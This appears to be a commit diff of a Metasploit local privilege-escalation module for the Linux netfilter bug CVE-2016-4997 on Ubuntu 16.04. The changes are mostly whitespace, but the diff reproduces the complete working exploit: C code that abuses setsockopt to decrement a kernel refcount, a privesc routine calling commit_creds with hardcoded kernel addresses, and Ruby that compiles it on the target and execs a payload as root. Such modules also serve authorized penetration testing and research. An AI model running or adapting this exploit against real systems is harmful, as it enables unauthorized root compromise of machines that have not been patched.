6
6
require "msf/core"
7
7
8
8
class MetasploitModule < Msf ::Exploit ::Local
9
+ Rank = GoodRanking
10
+
9
11
include Msf ::Post ::File
10
12
include Msf ::Exploit ::EXE
11
13
include Msf ::Exploit ::FileDropper
@@ -19,7 +21,7 @@ def initialize(info = {})
19
21
1. ip_tables.ko has to be loaded (root running iptables -L will do such)
20
22
2. libc6-dev-i386 needs to be installed to compile
21
23
Kernel 4.4.0-31-generic and newer are not vulnerable.
22
-
24
+
23
25
We write the ascii files and compile on target instead of locally since metasm bombs for not
24
26
having cdefs.h (even if locally installed)
25
27
} ,
@@ -38,7 +40,7 @@ def initialize(info = {})
38
40
'References' =>
39
41
[
40
42
[ 'EDB' , '40049' ] ,
41
- [ 'CVE' , '2016-4997' ] ,
43
+ [ 'CVE' , '2016-4997' ]
42
44
]
43
45
) )
44
46
register_options (
@@ -47,7 +49,7 @@ def initialize(info = {})
47
49
OptString . new ( 'MAXWAIT' , [ true , 'Max time to wait for decrementation in seconds' , 120 ] )
48
50
] , self . class )
49
51
end
50
-
52
+
51
53
def check
52
54
def iptables_loaded? ( )
53
55
# user@ubuntu:~$ cat /proc/modules | grep ip_tables
@@ -63,7 +65,7 @@ def iptables_loaded?()
63
65
return iptables . include? ( 'ip_tables' )
64
66
end
65
67
66
- def libs_installed? ( )
68
+ def libs_installed? ( )
67
69
# user@ubuntu:~$ dpkg --get-selections | grep libc6-dev-i386
68
70
# libc6-dev-i386 install
69
71
vprint_status ( 'Checking if libc6-dev-i386 is installed' )
@@ -75,7 +77,7 @@ def libs_installed?()
75
77
end
76
78
return lib . include? ( 'install' )
77
79
end
78
-
80
+
79
81
def shemsham_installed? ( )
80
82
# we want this to be false.
81
83
vprint_status ( 'Checking if shem or sham are installed' )
@@ -89,7 +91,7 @@ def shemsham_installed?()
89
91
end
90
92
return ( shemsham . include? ( 'shem' ) or shemsham . include? ( 'sham' ) )
91
93
end
92
-
94
+
93
95
if libs_installed? ( ) and iptables_loaded? ( ) and not shemsham_installed? ( )
94
96
return CheckCode ::Appears
95
97
else
@@ -104,7 +106,7 @@ def exploit
104
106
pwn_file = datastore [ "WritableDir" ] + "/" + rand_text_alphanumeric ( 8 )
105
107
payload_file = rand_text_alpha ( 8 )
106
108
payload_path = "#{ datastore [ "WritableDir" ] } /#{ payload_file } "
107
-
109
+
108
110
# direct copy of code from exploit-db, except removed the check for shem/sham and ip_tables.ko since we can do that in the check area here
109
111
decr = %q{
110
112
#define _GNU_SOURCE
@@ -124,9 +126,9 @@ def exploit
124
126
#include <linux/netlink.h>
125
127
#include <fcntl.h>
126
128
#include <sys/mman.h>
127
-
129
+
128
130
#define MALLOC_SIZE 66*1024
129
-
131
+
130
132
int decr(void *p) {
131
133
int sock, optlen;
132
134
int ret;
@@ -136,91 +138,91 @@ def exploit
136
138
struct xt_entry_match *ematch;
137
139
struct xt_standard_target *target;
138
140
unsigned i;
139
-
141
+
140
142
sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
141
-
143
+
142
144
if (sock == -1) {
143
145
perror("socket");
144
146
return -1;
145
147
}
146
-
148
+
147
149
data = malloc(MALLOC_SIZE);
148
-
150
+
149
151
if (data == NULL) {
150
152
perror("malloc");
151
153
return -1;
152
154
}
153
-
155
+
154
156
memset(data, 0, MALLOC_SIZE);
155
-
157
+
156
158
repl = (struct ipt_replace *) data;
157
159
repl->num_entries = 1;
158
160
repl->num_counters = 1;
159
161
repl->size = sizeof(*repl) + sizeof(*target) + 0xffff;
160
162
repl->valid_hooks = 0;
161
-
163
+
162
164
entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));
163
165
entry->target_offset = 74; // overwrite target_offset
164
166
entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target);
165
-
167
+
166
168
ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry));
167
-
169
+
168
170
strcpy(ematch->u.user.name, "icmp");
169
171
void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0);
170
172
uint64_t *me = (uint64_t *)(kmatch + 0x58);
171
173
*me = 0xffffffff821de10d; // magic number!
172
-
174
+
173
175
uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4);
174
176
*match = (uint32_t)kmatch;
175
-
177
+
176
178
ematch->u.match_size = (short)0xffff;
177
-
179
+
178
180
target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8);
179
181
uint32_t *t = (uint32_t *)target;
180
182
*t = (uint32_t)kmatch;
181
-
183
+
182
184
printf("[!] Decrementing the refcount. This may take a while...\n");
183
185
printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n");
184
-
186
+
185
187
for (i = 0; i < 0xffffff/2+1; i++) {
186
188
ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024);
187
189
}
188
-
190
+
189
191
close(sock);
190
192
free(data);
191
193
printf("[+] Done! Now run ./pwn\n");
192
-
194
+
193
195
return 0;
194
196
}
195
-
197
+
196
198
int main(void) {
197
199
void *stack;
198
200
int ret;
199
-
201
+
200
202
printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n");
201
-
203
+
202
204
ret = unshare(CLONE_NEWUSER);
203
-
205
+
204
206
if (ret == -1) {
205
207
perror("unshare");
206
208
return -1;
207
209
}
208
-
210
+
209
211
stack = (void *) malloc(65536);
210
-
212
+
211
213
if (stack == NULL) {
212
214
perror("malloc");
213
215
return -1;
214
216
}
215
-
217
+
216
218
clone(decr, stack + 65536, CLONE_NEWNET, NULL);
217
-
219
+
218
220
sleep(1);
219
-
221
+
220
222
return 0;
221
223
}
222
224
}
223
-
225
+
224
226
# direct copy of code from exploit-db
225
227
pwn = %q{
226
228
#include <stdio.h>
@@ -231,57 +233,56 @@ def exploit
231
233
#include <fcntl.h>
232
234
#include <sys/mman.h>
233
235
#include <assert.h>
234
-
236
+
235
237
#define MMAP_ADDR 0xff814e3000
236
238
#define MMAP_OFFSET 0xb0
237
-
239
+
238
240
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred);
239
241
typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred);
240
-
242
+
241
243
void __attribute__((regparm(3))) privesc() {
242
244
commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;
243
245
prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;
244
246
commit_creds(prepare_kernel_cred((uint64_t)NULL));
245
247
}
246
-
248
+
247
249
int main() {
248
250
void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0);
249
251
assert(payload == (void *)MMAP_ADDR);
250
-
252
+
251
253
void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET);
252
-
254
+
253
255
memset(shellcode, 0, 0x300000);
254
-
256
+
255
257
void *ret = memcpy(shellcode, &privesc, 0x300);
256
258
assert(ret == shellcode);
257
-
259
+
258
260
printf("[+] Escalating privs...\n");
259
-
261
+
260
262
int fd = open("/dev/ptmx", O_RDWR);
261
263
close(fd);
262
-
264
+
263
265
assert(!getuid());
264
-
266
+
265
267
printf("[+] We've got root!");
266
-
267
- return execl("/bin/bash", "-sh", NULL);
268
+
269
+ return execl("/bin/bash", "-sh", NULL);
268
270
}
269
271
}
270
-
272
+
271
273
# the original code printed a line. However, this is hard to detect due to threading.
272
274
# so instead we can write a file in /tmp to catch.
273
275
decr . gsub! ( /printf\( "\[ \+ \] Done\! Now run \. \/ pwn\\ n"\) ;/ ,
274
276
"int fd2 = open(\" #{ env_ready_file } \" , O_RDWR|O_CREAT, 0777);close(fd2);" )
275
-
277
+
276
278
# patch in to run our payload
277
- # patch in to run our payload as part of ksh
278
279
pwn . gsub! ( /execl\( "\/ bin\/ bash", "-sh", NULL\) ;/ ,
279
280
"execl(\" #{ payload_path } \" , NULL);" )
280
-
281
+
281
282
if check != CheckCode ::Appears
282
283
fail_with ( Failure ::NotVulnerable , 'Target not vulnerable! punt!' )
283
284
end
284
-
285
+
285
286
print_status "Writing desc executable to #{ desc_file } .c"
286
287
rm_f env_ready_file
287
288
rm_f "#{ desc_file } .c"
@@ -299,7 +300,7 @@ def exploit
299
300
vprint_status "Executing #{ desc_file } , may take around 35s to finish. Watching for #{ env_ready_file } to be created."
300
301
cmd_exec ( "chmod +x #{ desc_file } ; #{ desc_file } " )
301
302
sec_waited = 0
302
-
303
+
303
304
until sec_waited > datastore [ 'MAXWAIT' ] do
304
305
Rex . sleep ( 1 )
305
306
if sec_waited % 10 == 0
@@ -313,7 +314,7 @@ def exploit
313
314
write_file ( payload_path , generate_payload_exe )
314
315
cmd_exec ( "chmod 555 #{ payload_path } " )
315
316
register_file_for_cleanup ( payload_path )
316
-
317
+
317
318
# now lets drop part 2, and finish up.
318
319
print_status "Writing pwn executable to #{ pwn_file } .c"
319
320
rm_f pwn_file
0 commit comments